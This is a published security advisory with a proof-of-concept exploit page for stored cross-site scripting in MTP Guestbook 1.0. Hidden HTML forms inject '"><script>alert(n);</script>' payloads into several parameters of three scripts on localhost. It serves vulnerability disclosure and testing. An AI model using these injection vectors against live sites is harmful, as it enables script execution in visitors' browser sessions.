61 lines
No EOL
2 KiB
Text
61 lines
No EOL
2 KiB
Text
<!--
|
|
|
|
MTP Guestbook 1.0 Multiple Remote Script Insertion Vulnerabilities
|
|
|
|
|
|
Vendor: MTP Scripts
|
|
Product web page: http://www.morephp.net
|
|
Affected version: 1.0
|
|
|
|
Summary: MTP Guestbook allows you to put a guestbook on your website.
|
|
Your visitors can sign it and leave a message. The entries can be edited
|
|
and deleted in the admin area.
|
|
|
|
Desc: MTP Guestbook script suffers from multiple stored cross-site scripting
|
|
vulnerabilities. The issues are triggered when input passed via several
|
|
parameters to several scripts is not properly sanitized before being returned
|
|
to the user. This can be exploited to execute arbitrary HTML and script code
|
|
in a user's browser session in context of an affected site.
|
|
|
|
Tested on: Linux, Apache2
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2013-5131
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5131.php
|
|
|
|
|
|
17.02.2013
|
|
|
|
-->
|
|
|
|
<html>
|
|
<head>
|
|
<title>MTP Guestbook 1.0 Multiple Remote Script Insertion Vulnerabilities</title>
|
|
</head>
|
|
<body><center>
|
|
<form method="POST" action="http://localhost/mtp_guestbook/blocked.php">
|
|
<input type="hidden" name="simbol" value='"><script>alert(1);</script>' />
|
|
<input type="hidden" name="action" value="add" />
|
|
<input type="submit" value="XSS #1" />
|
|
</form>
|
|
<br /><br />
|
|
<form method="POST" action="http://localhost/mtp_guestbook/insert_user.php">
|
|
<input type="hidden" name="ins_city" value='"><script>alert(2);</script>' />
|
|
<input type="hidden" name="ins_country" value="MK" />
|
|
<input type="hidden" name="ins_email" value="lab@zeroscience.mk" />
|
|
<input type="hidden" name="ins_fname" value='"><script>alert(3);</script>' />
|
|
<input type="hidden" name="ins_pass" value="thricerpass" />
|
|
<input type="hidden" name="ins_username" value="thricer" />
|
|
<input type="submit" value="XSS #2" />
|
|
</form>
|
|
<br /><br />
|
|
<form method="POST" action="http://localhost/mtp_guestbook/ajax_cat_ins.php">
|
|
<input type="hidden" name="name" value='"><script>alert(4);</script>' />
|
|
<input type="submit" value="XSS #3" />
|
|
</form>
|
|
</center></body>
|
|
</html> |